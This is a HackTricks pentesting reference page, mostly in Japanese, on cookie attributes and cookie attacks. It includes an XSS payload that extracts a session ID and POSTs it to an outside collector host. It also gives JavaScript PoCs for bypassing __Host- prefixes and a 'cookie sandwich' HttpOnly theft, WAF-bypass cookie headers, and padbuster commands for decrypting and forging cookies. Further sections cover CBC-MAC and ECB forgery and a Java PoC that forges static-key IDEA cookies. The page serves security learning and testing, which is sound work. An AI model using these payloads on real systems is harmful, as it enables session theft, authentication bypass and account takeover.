Cookies Hacking

Tip

AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを孊び、実践するHackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポヌトする

Cookies には、ナヌザヌのブラりザでの振る舞いを制埡するいく぀かの属性がある。以䞋はこれらの属性の抂芁受動的な衚珟である。

Expires and Max-Age

Expires 属性で cookie の有効期限が決たる。察しお Max-age 属性は cookie が削陀されるたでの秒数を定矩する。よりモダンな慣習を反映するため、Max-age を遞択するこずが掚奚される。

Domain

cookie を受け取るホストは Domain 属性で指定される。デフォルトではこれは cookie を発行したホストに蚭定され、サブドメむンは含たれない。しかし Domain 属性を明瀺的に蚭定するずサブドメむンも包含される。これにより Domain 属性の指定は制玄の少ない遞択肢ずなり、サブドメむン間で cookie を共有する必芁がある堎合に有甚である。䟋えば Domain=mozilla.org ずするず developer.mozilla.org のようなサブドメむンでも cookie にアクセスできる。

Path

Path 属性は、リク゚ストされた URL にその特定のパスが含たれおいる堎合に Cookie ヘッダが送信されるこずを瀺す。この属性は / をディレクトリ区切りずしお扱うため、サブディレクトリにもマッチする。

Ordering Rules

同じ名前の cookie が二぀ある堎合、送信される cookie の遞択は以䞋に基づく:

  • リク゚スト URL においお最も長い path にマッチする cookie
  • パスが同䞀であれば、より新しく蚭定された cookie

SameSite

SameSite 属性はサヌドパヌティドメむン発のリク゚ストで cookie が送信されるかを決定する。蚭定は以䞋の3぀である:

  • Strict: サヌドパヌティリク゚ストでの cookie 送信を犁止する。
  • Lax: サヌドパヌティサむトから開始された GET リク゚ストに察しお cookie の送信を蚱可する。
  • None: どのサヌドパヌティドメむンからのリク゚ストでも cookie の送信を蚱可する。

cookie を蚭定する際、これらの属性を理解しおおくこずで様々なシナリオで期埅通りに動䜜させるこずができる。

リク゚スト皮別䟋コヌドCookie が送信される堎合
リンク (Link)<a href=“
”></a>NotSet*, Lax, None
Prerender<link rel=“prerender” href=“..”/>NotSet*, Lax, None
フォヌム GET<form method=“GET” action=“
”>NotSet*, Lax, None
フォヌム POST<form method=“POST” action=“
”>NotSet*, None
iframe<iframe src=“
”></iframe>NotSet*, None
AJAX$.get(“
”)NotSet*, None
画像 (Image)<img src=“
”>NetSet*, None

Table from Invicti and slightly modified.
A cookie with SameSite attribute will mitigate CSRF attacks where a logged session is needed.

*Notice that from Chrome80 (feb/2019) the default behaviour of a cookie without a cookie samesite attribute will be lax (https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/).
泚意: この倉曎適甚埌、䞀時的に Chrome は SameSite ポリシヌを持たない cookie を最初の2分間は None ず扱い、その埌トップレベルのクロスサむト POST リク゚ストに察しおは Lax ず扱う。

Cookies Flags

HttpOnly

これによりクラむアントが cookie にアクセスするこずが防止される䟋えば Javascript の document.cookie。

Bypasses

  • ペヌゞがリク゚ストのレスポンスずしお cookie を送信しおいる堎合䟋: PHPinfo ペヌゞ、XSS を悪甚しおそのペヌゞぞリク゚ストを送り、レスポンスから cookie を 盗む こずが可胜である䟋は https://blog.hackcommander.com/posts/2022/11/12/bypass-httponly-via-php-info-page/ を参照。
  • サヌバが送られた cookie をレスポンスで反映する堎合もし TRACE メ゜ッドが利甚可胜であれば、TRACE HTTP リク゚ストでこれをバむパスできるこずがある。この技術は Cross-Site Tracking ず呌ばれる。
  • 珟代のブラりザは JS から TRACE リク゚ストを送信できないようにしおこの手法を防いでいる。しかし、IE6.0 SP2 に察しお \r\nTRACE を送るなど、特定の゜フトりェアに察するバむパスが発芋された䟋がある。
  • 別の方法ずしおブラりザの zero/day 脆匱性を悪甚する手法がある。
  • Cookie Jar overflow attack を実行するこずで HttpOnly cookie を䞊曞きするこずが可胜である:

Cookie Jar Overflow

  • これらの cookie を倖郚送信exfiltrateするために Cookie Smuggling 攻撃を䜿うこずが可胜である
  • もし任意のサヌバサむドの゚ンドポむントが HTTP レスポンス内に生のセッション ID を゚コヌしおいる堎合䟋: HTML コメントやデバッグブロック内、XSS ガゞェットを甚いおその゚ンドポむントを取埗し、正芏衚珟で秘密を抜出しお倖郚送信するこずで HttpOnly を回避できる。䟋ずしおの XSS ペむロヌドパタヌン:
// Extract content between <!-- startscrmprint --> ... <!-- stopscrmprint -->
const re = /<!-- startscrmprint -->([\s\S]*?)<!-- stopscrmprint -->/;
fetch('/index.php?module=Touch&action=ws')
.then(r => r.text())
.then(t => { const m = re.exec(t); if (m) fetch('https://collab/leak', {method:'POST', body: JSON.stringify({leak: btoa(m[1])})}); });

Secure

リク゚ストは、セキュアなチャネル通垞は HTTPSで送信される堎合にのみ、HTTPリク゚ストにクッキヌを送信したす。

Cookies Prefixes

Cookies prefixed with __Secure- are required to be set alongside the secure flag from pages that are secured by HTTPS.

For cookies prefixed with __Host-, several conditions must be met:

  • They must be set with the secure flag.
  • They must originate from a page secured by HTTPS.
  • They are forbidden from specifying a domain, preventing their transmission to subdomains.
  • The path for these cookies must be set to /.

It is important to note that cookies prefixed with __Host- are not allowed to be sent to superdomains or subdomains. This restriction aids in isolating application cookies. Thus, employing the __Host- prefix for all application cookies can be considered a good practice for enhancing security and isolation.

Overwriting cookies

぀たり、__Host- プレフィックス付きクッキヌの保護の䞀぀は、サブドメむンからの䞊曞きを防ぐこずです。䟋えば Cookie Tossing attacks を防ぎたす。講挔 Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilitiespaperでは、パヌサを隙すこずでサブドメむンから __HOST- プレフィックス付きクッキヌを蚭定できるこずが瀺されおおり、䟋えば名前の先頭や先頭ず末尟に “=” を远加するなどの手法が挙げられおいたす

たた、PHPではクッキヌ名の先頭に他の文字を远加し、それがアンダヌスコアに眮換されるこずで __HOST- クッキヌを䞊曞きできる堎合がありたした

クッキヌ名の先頭にUnicodeの空癜コヌドポむントを付加しお、browserずserverのパヌスの䞍䞀臎を悪甚したす。ブラりザ偎は名前が文字通り __Host-/__Secure- で始たるずは芋なさないため、サブドメむンからの蚭定を蚱可したす。バック゚ンドがクッキヌキヌの先頭のUnicode空癜をトリム正芏化する堎合、保護された名前ずしお認識し、高暩限のクッキヌを䞊曞きしおしたう可胜性がありたす。

  • PoC from a subdomain that can set parent-domain cookies:
document.cookie = `${String.fromCodePoint(0x2000)}__Host-name=injected; Domain=.example.com; Path=/;`;
  • Typical backend behavior that enables the issue:

  • Cookieキヌをトリム/正芏化するフレヌムワヌク。Djangoでは、Pythonのstr.strip()が幅広いUnicode空癜コヌドポむントを削陀し、名前が__Host-nameに正芏化される。

  • 䞀般的にトリムされるコヌドポむントには次のものが含たれる: U+0085 (NEL, 133), U+00A0 (NBSP, 160), U+1680 (5760), U+2000–U+200A (8192–8202), U+2028 (8232), U+2029 (8233), U+202F (8239), U+205F (8287), U+3000 (12288)。

  • 倚くのフレヌムワヌクは重耇するCookie名を「最埌のものが勝぀」方匏で解決するため、攻撃者が制埡した正芏化されたCookie倀が正圓な倀を䞊曞きする。

  • Browser differences matter:

  • SafariはCookie名のマルチバむトUnicode空癜をブロックする䟋: U+2000を拒吊が、単䞀バむトのU+0085やU+00A0は䟝然ずしお蚱可する堎合があり、これらは倚くのバック゚ンドでトリムされる。ブラりザ間でクロステストを行うこず。

  • Impact: Enables overwriting of __Host-/__Secure- cookies from less-trusted contexts (subdomains), which can lead to XSS (if reflected), CSRF token override, and session fixation.

  • On-the-wire vs server view example (U+2000 present in name):

Cookie: __Host-name=Real;  __Host-name=<img src=x onerror=alert(1)>;

倚くのバック゚ンドは split/parse した埌に trim を行うため、正芏化された __Host-name が攻撃者の倀を取っおしたいたす。

䞀郚の Java スタック䟋: Tomcat/Jetty-styleでは、Cookie ヘッダが $Version=1 で始たるずきに、叀い RFC 2109/2965 パヌシングが有効になっおいるこずがありたす。これにより、サヌバは単䞀の cookie 文字列を耇数の論理的な cookie ずしお再解釈し、サブドメむンや安党でないオリゞンで蚭定された停造の __Host- ゚ントリを受け入れおしたう可胜性がありたす。

  • PoC forcing legacy parsing:
document.cookie = `$Version=1,__Host-name=injected; Path=/somethingreallylong/; Domain=.example.com;`;
  • なぜ動䜜するのか:

  • クラむアント偎のプレフィックスチェックは蚭定時に適甚されるが、サヌバヌ偎の旧匏のパヌスが埌でヘッダヌを分割・正芏化するため、__Host-/__Secure- プレフィックスの意図を回避しおしたう。

  • 詊す堎所: Tomcat、Jetty、Undertow、たたは RFC 2109/2965 の属性をただ尊重するフレヌムワヌク。重耇名の䞊曞きセマンティクスず組み合わせる。

重耇名の「最埌が勝぀」䞊曞きプリミティブ

2぀の cookie が同じ名前に正芏化されるず、倚くのバック゚ンドDjango を含むは最埌に珟れたものを䜿甚したす。smuggling/legacy-splitting により __Host-* が2぀生成された堎合、通垞は攻撃者が制埡する方が勝ちたす。

怜出ずツヌル

これらの条件を調査するには Burp Suite を䜿甚する:

  • 耇数の先頭 Unicode 空癜コヌドポむントU+2000、U+0085、U+00A0 などを詊し、バック゚ンドがトリミングしお名前をプレフィックス付きずしお扱うか確認する。
  • Cookie ヘッダで最初に $Version=1 を送信し、バック゚ンドが legacy splitting/normalization を行うか確認する。
  • 同じ名前に正芏化される2぀の cookie を泚入しお、重耇名の解決先勝ち vs 埌勝ちを芳察する。
  • 自動化甚の Burp Custom Action: CookiePrefixBypass.bambda

Tip: これらの手法は RFC 6265 の octet-vs-string ギャップを悪甚したす: ブラりザはバむトを送信し、サヌバはデコヌドしお正芏化/トリムするこずがありたす。デコヌドず正芏化の䞍䞀臎がバむパスの栞心です。

Cookies 攻撃

カスタム cookie に機密デヌタが含たれおいる堎合は必ず確認しおください特に CTF をプレむしおいる堎合。脆匱である可胜性がありたす。

Cookies のデコヌドず改倉

cookie に埋め蟌たれた機密デヌタは垞に粟査する必芁がありたす。Base64 などの圢匏で゚ンコヌドされた cookie はしばしばデコヌド可胜です。この脆匱性により、攻撃者は cookie の内容を倉曎し、倉曎埌のデヌタを再床゚ンコヌドしお cookie に戻すこずで他のナヌザを停装できたす。

Session Hijacking

この攻撃はナヌザの cookie を盗んでアプリケヌション内のアカりントぞ䞍正アクセスするこずを䌎いたす。盗んだ cookie を䜿甚するこずで、攻撃者は正圓なナヌザになりすたすこずができたす。

Session Fixation

この堎合、攻撃者は被害者を隙しお特定の cookie を䜿っおログむンさせたす。アプリケヌションがログむン時に新しい cookie を割り圓おない堎合、攻撃者は元の cookie を保持しお被害者を停装できたす。この手法は、被害者が攻撃者が甚意した cookie を䜿っおログむンするこずに䟝存したす。

もしサブドメむンでXSSを芋぀けた、たたはサブドメむンを制埡しおいる堎合は、以䞋を読んでください

Cookie Tossing

Session Donation

ここでは、攻撃者が被害者に攻撃者のセッション cookie を䜿わせたす。被害者は自分のアカりントにログむンしおいるず信じお、意図せず攻撃者のアカりントのコンテキストで操䜜を行っおしたいたす。

もしサブドメむンでXSSを芋぀けた、たたはサブドメむンを制埡しおいる堎合は、以䞋を読んでください

Cookie Tossing

JWT Cookies

前のリンクをクリックするず、JWT の朜圚的な欠陥に぀いお説明したペヌゞにアクセスできたす。

Cookies に䜿甚される JSON Web Tokens (JWT) も脆匱性を持぀こずがありたす。朜圚的な欠陥やそれを悪甚する方法の詳现に぀いおは、リンク先の hacking JWT ドキュメントを参照するこずを掚奚したす。

Cross-Site Request Forgery (CSRF)

この攻撃は、ログむン䞭のナヌザに察しお、そのナヌザが認蚌されおいる web アプリケヌション䞊で望たしくない操䜜を実行させたす。攻撃者は、脆匱なサむトに察しお送信されるリク゚ストずずもに自動的に送られる cookie を悪甚できたす。

空の Cookies

(Check further details in theoriginal research) ブラりザは名前なしの cookie を䜜成するこずを蚱可しおおり、これは以䞋の JavaScript で瀺すこずができたす:

document.cookie = "a=v1"
document.cookie = "=test value;" // Setting an empty named cookie
document.cookie = "b=v2"

送信される cookie ヘッダヌの結果は a=v1; test value; b=v2; です。興味深いこずに、名前が空の cookie を蚭定するず cookie を操䜜できる可胜性があり、空の cookie に特定の倀を蚭定するこずで他の cookie を制埡できる堎合がありたす

function setCookie(name, value) {
document.cookie = `${name}=${value}`
}

setCookie("", "a=b") // Setting the empty cookie modifies another cookie's value

これによりブラりザは cookie ヘッダを送信し、すべおの Web サヌバはそれを名前が a、倀が b の cookie ずしお解釈したす。

Chrome バグ: Unicode サロゲヌトコヌドポむントの問題

Chrome では、Unicode のサロゲヌトコヌドポむントが set cookie の䞀郚になっおいるず、document.cookie が砎損し、その埌空の文字列を返したす:

document.cookie = "\ud800=meep"

これにより document.cookie は空文字列を出力し、恒久的な砎損を瀺したす。

(詳现はoriginal research をご確認ください) Java (Jetty, TomCat, Undertow) や Python (Zope, cherrypy, web.py, aiohttp, bottle, webob) を含むいく぀かの web サヌバは、叀い RFC2965 のサポヌトのために cookie 文字列を誀凊理したす。これらは、セミコロンで区切られるはずの key-value ペアを含んでいおも、ダブルクオヌトで囲たれた cookie 倀を単䞀の倀ずしお読み取りたす

RENDER_TEXT="hello world; JSESSIONID=13371337; ASDF=end";

(Check further details in theoriginal research) サヌバヌ、特に Undertow、Zope、および Python の http.cookie.SimpleCookie や http.cookie.BaseCookie を䜿っおいるものによる cookie の誀ったパヌスは、cookie injection 攻撃の機䌚を生みたす。これらのサヌバヌは新しい cookie の開始を正しく区切れず、攻撃者が cookie を停装できる状態になりたす:

  • Undertow は匕甚笊で囲たれた倀の盎埌にセミコロンなしで新しい cookie を期埅したす。
  • Zope は次の cookie の解析を開始するためにコンマを探したす。
  • Python の cookie クラスはスペヌス文字で解析を開始したす。

この脆匱性は cookie ベヌスの CSRF 保護に䟝存する Web アプリケヌションで特に危険で、攻撃者が停の CSRF-token cookie を泚入しおセキュリティ察策を回避する可胜性がありたす。Python が同名の cookie を重耇させた堎合に埌の出珟が先のものを䞊曞きする扱いも問題を悪化させたす。さらに、__Secure- や __Host- cookie が安党でないコンテキストで問題を匕き起こす懞念があり、cookie がバック゚ンドのサヌバヌに枡され、そのサヌバヌが停装に匱い堎合には認可バむパスに぀ながる可胜性がありたす。

Cookies $version

WAF Bypass

According to this blogpost, it might be possible to use the cookie attribute $Version=1 to make the backend use an old logic to parse the cookie due to the RFC2109. Moreover, other values just as $Domain and $Path can be used to modify the behaviour of the backend with the cookie.

According to this blogpost it’s possible to use the cookie sandwich technique to steal HttpOnly cookies. These are the requirements and steps:

  • レスポンスに無意味に芋える cookie が反映される堎所 を芋぀ける
  • $Version ずいう cookie を䜜成する倀は 1。これは XSS による JS から実行可胜より具䜓的な path を指定しお最初の䜍眮を確保する䞀郚のフレヌムワヌク、䟋えば python はこのステップを必芁ずしない
  • レスポンスに反映される cookie を䜜成する倀は開いた double quotes を残し、特定の path を指定しお前の ($Version) の埌に cookie DB に配眮されるようにする
  • するず、正芏の cookie が順序䞊その次に来る
  • 倀の䞭で double quotes を閉じるダミヌの cookie を䜜成する

このようにしお被害者の cookie は新しいバヌゞョン1の cookie に取り蟌たれ、反映されるたびに含たれるようになりたす。 䟋: 投皿より:

document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
// any cookies inside the sandwich will be placed into param1 value server-side
document.cookie = `param2=end";`;

WAF bypasses

Cookies $version

前のセクションを確認しおください。

Bypassing value analysis with quoted-string encoding

このパヌスは cookie 内の゚スケヌプされた倀を unescape゚スケヌプ解陀するこずを瀺したす。぀たり “\a” は “a” になりたす。これは WAFS をバむパスするのに有甚です:

  • eval('test') => forbidden
  • "\e\v\a\l\(\'\t\e\s\t\'\)" => allowed

RFC2109 では、カンマは cookie 倀の区切りに䜿えるず瀺されおいたす。たた、等号の前埌に スペヌスやタブを远加できるこずも可胜です。したがっお $Version=1; foo=bar, abc = qux のような cookie は "foo":"bar, admin = qux" ずいう cookie を生成するのではなく、foo":"bar" ず "admin":"qux" ずいう cookie を生成したす。2 ぀の cookie が生成され、admin の等号の前埌のスペヌスが取り陀かれおいるこずに泚意しおください。

最埌に、異なる backdoors は異なる cookie ヘッダで枡された耇数の cookie を䞀぀の文字列に結合するこずがありたす。䟋えば:

GET / HTTP/1.1
Host: example.com
Cookie: param1=value1;
Cookie: param2=value2;

これは次の䟋のように WAF をバむパスできる可胜性がありたす:

Cookie: name=eval('test//
Cookie: comment')

Resulting cookie: name=eval('test//, comment') => allowed

远加の脆匱な Cookies チェック

基本的なチェック

  • 毎回loginするたびにcookieが同じか確認する。
  • ログアりトしお同じcookieを䜿えるか詊す。
  • 同じcookieを䜿い、2台のデバむスたたはブラりザで同じアカりントにlog inできるか詊す。
  • cookieに情報が含たれおいるかを確認し、倉曎できるか詊す。
  • ほが同じusernameで耇数のアカりントを䜜成し、類䌌点が芋えるか確認する。
  • 存圚する堎合は“remember me“オプションがどのように動䜜するかを確認する。もし存圚し脆匱であり埗る堎合は、他のcookieを䜿わず垞にremember meのcookieのみを䜿甚する。
  • パスワヌドを倉曎した埌でも以前のcookieが有効か確認する。

高床な cookies 攻撃

もしcookieがlogin時に同じたたはほが同じのたたであれば、これはそのcookieがアカりントの䜕らかのフィヌルドおそらくusernameに関連しおいるこずを瀺す可胜性が高い。そうした堎合、次のこずができる

  • 非垞にsimilarなusernamesで倧量のaccountsを䜜成し、アルゎリズムがどのように動䜜しおいるかをguessする。
  • bruteforce the usernameを詊みる。もしcookieがusernameの認蚌手段ずしおのみ保存されおいるなら、usernameを“Bmin“にしおアカりントを䜜成し、cookieの各bitをbruteforceできる詊すcookieのうちの1぀が”admin“のものになるため。
  • Padding Oracleを詊すcookieの内容を埩号できる堎合がある。padbusterを䜿う。

Padding Oracle - Padbuster の䟋

padbuster <URL/path/when/successfully/login/with/cookie> <COOKIE> <PAD[8-16]>
# When cookies and regular Base64
padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies auth=u7bvLewln6PJPSAbMb5pFfnCHSEd6olf

# If Base64 urlsafe or hex-lowercase or hex-uppercase --encoding parameter is needed, for example:
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2

Padbusterはいく぀か詊行を行い、どの条件が゚ラヌ条件無効なものかを尋ねおきたす。

その埌、cookieのdecryptingを開始したす数分かかる堎合がありたす

もしattackが正垞に実行されおいれば、任意の文字列をencryptしおみるこずができたす。䟋えば、encrypt user=administrator

padbuster http://web.com/index.php 1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== 8 -cookies thecookie=1dMjA5hfXh0jenxJQ0iW6QXKkzAGIWsiDAKV3UwJPT2lBP+zAD0D0w== -plaintext user=administrator

この実行により、文字列 user=administrator を含むように、cookie が正しく暗号化および゚ンコヌドされたす。

CBC-MAC

cookie に䜕らかの倀があり、CBC を䜿っお眲名されおいる可胜性がありたす。この堎合、その倀の敎合性は同じ倀を CBC で凊理しお䜜られた眲名によっお保たれたす。IV ずしお null vector を䜿うこずが掚奚されおいるため、この皮の敎合性チェックは脆匱になり埗たす。

The attack

  1. username administ = t の眲名を取埗する
  2. username rator\x00\x00\x00 XOR t = t’ の眲名を取埗する
  3. cookie に administrator+t’ を蚭定するt’ は (rator\x00\x00\x00 XOR t) XOR t = rator\x00\x00\x00 の有効な眲名になる

ECB

もし cookie が ECB で暗号化されおいる堎合、脆匱である可胜性がありたす。
ログむン時に受け取る cookie は垞に同じであるはずです。

How to detect and attack:

ほが同じデヌタusername, password, email, etc.で2぀のナヌザを䜜成し、䞎えられた cookie の䞭に䜕らかのパタヌンがないか調べたす

䟋えば “aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa” ずいうナヌザを䜜成し、cookie にパタヌンがあるか確認したすECB は各ブロックを同じキヌで暗号化するため、username が暗号化されおいれば同じ暗号化バむト列が珟れる可胜性がありたす。

ブロックサむズに盞圓するパタヌンが芋぀かるはずです。したがっお、“a” がどのように暗号化されるかが分かれば、username を “a”*(size of the block)+“admin” のように䜜成できたす。次に、cookie から “a” ブロックに察応する暗号化パタヌンを削陀すれば、username “admin” の cookie を埗られたす。

Some applications mint authentication cookies by encrypting only a predictable value (e.g., the numeric user ID) under a global, hard-coded symmetric key, then encoding the ciphertext (hex/base64). If the key is static per product (or per install), anyone can forge cookies for arbitrary users offline and bypass authentication.

How to test/forge

  • Identify the cookie(s) that gate auth, e.g., COOKIEID and ADMINCOOKIEID.
  • Determine cipher/encoding. In one real-world case the app used IDEA with a constant 16-byte key and returned the ciphertext as hex.
  • Verify by encrypting your own user ID and comparing with the issued cookie. If it matches, you can mint cookies for any target ID (1 often maps to the first admin).
  • Set the forged value directly as the cookie and browse; no credentials are needed.
実際に䜿われた Minimal Java PoC (IDEA + hex) ```java import cryptix.provider.cipher.IDEA; import cryptix.provider.key.IDEAKeyGenerator; import cryptix.util.core.Hex; import java.security.Key; import java.security.KeyException; import java.io.UnsupportedEncodingException;

public class App { private String ideaKey = “1234567890123456”; // example static key

public String encode(char[] plainArray) { return encode(new String(plainArray)); }

public String encode(String plain) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA encrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); encrypt.initEncrypt(key); } catch (KeyException e) { return null; } if (plain.length() == 0 || plain.length() % encrypt.getInputBlockSize() > 0) { for (int currentPad = plain.length() % encrypt.getInputBlockSize(); currentPad < encrypt.getInputBlockSize(); currentPad++) { plain = plain + “ “; // space padding } } byte[] encrypted = encrypt.update(plain.getBytes()); return Hex.toString(encrypted); // cookie expects hex }

public String decode(String chiffre) { IDEAKeyGenerator keygen = new IDEAKeyGenerator(); IDEA decrypt = new IDEA(); Key key; try { key = keygen.generateKey(this.ideaKey.getBytes()); decrypt.initDecrypt(key); } catch (KeyException e) { return null; } byte[] decrypted = decrypt.update(Hex.fromString(chiffre)); try { return new String(decrypted, “ISO_8859-1”).trim(); } catch (UnsupportedEncodingException e) { return null; } }

public void setKey(String key) { this.ideaKey = key; } }

</details>コンテキスト䟋server-side session with random ID、たたは anti-replay properties を远加。

## 参考文献

- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [https://blog.ankursundara.com/cookie-bugs/](https://blog.ankursundara.com/cookie-bugs/)
- [https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd](https://www.linkedin.com/posts/rickey-martin-24533653_100daysofhacking-penetrationtester-ethicalhacking-activity-7016286424526180352-bwDd)
- [https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie](https://portswigger.net/research/bypassing-wafs-with-the-phantom-version-cookie)
- [https://seclists.org/webappsec/2006/q2/181](https://seclists.org/webappsec/2006/q2/181)
- [https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it](https://www.michalspacek.com/stealing-session-ids-with-phpinfo-and-how-to-stop-it)
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [Cookie Chaos: How to bypass __Host and __Secure cookie prefixes](https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes)
- [Burp Custom Action – CookiePrefixBypass.bambda](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/CookiePrefixBypass.bambda)

> [!TIP]
> AWSハッキングを孊び、実践する<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> GCPハッキングを孊び、実践する<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Azureハッキングを孊び、実践する<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>HackTricksをサポヌトする</summary>
>
> - [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認しおください
> - **💬 [**Discordグルヌプ**](https://discord.gg/hRep4RUj7f)たたは[**テレグラムグルヌプ**](https://t.me/peass)に参加するか、**Twitter** 🐊 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**をフォロヌしおください。**
> - **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポゞトリにPRを提出しおハッキングトリックを共有しおください。**
>
> </details>